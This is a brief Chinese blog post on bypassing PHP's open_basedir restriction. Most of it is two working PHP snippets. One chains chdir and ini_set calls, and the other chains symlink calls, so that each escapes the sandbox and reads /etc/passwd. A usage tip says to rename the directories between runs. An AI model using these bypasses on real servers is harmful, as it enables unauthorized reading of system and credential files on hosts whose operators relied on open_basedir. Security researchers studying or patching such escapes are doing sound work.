绕过open_basedir

绕过open_basedir

https://xz.aliyun.com/t/10070

利用ini_set和chidr

参考

测试

1
2
3
4
5
6
7
8
9
<?php
chdir('subDir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);

参考

  • twitter

测试

1
2
3
4
5
6
7
mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html','foo');
echo file_get_contents('bar/etc/passwd');

每次要更换文件夹a和bar和foo,不然会报错文件已存在。

后记

其他版本的 php 环境搭建大同小异。


绕过open_basedir
https://theganlove.github.io/2024/08/31/绕过open-basedir/
作者
uert
发布于
2024年8月31日
许可协议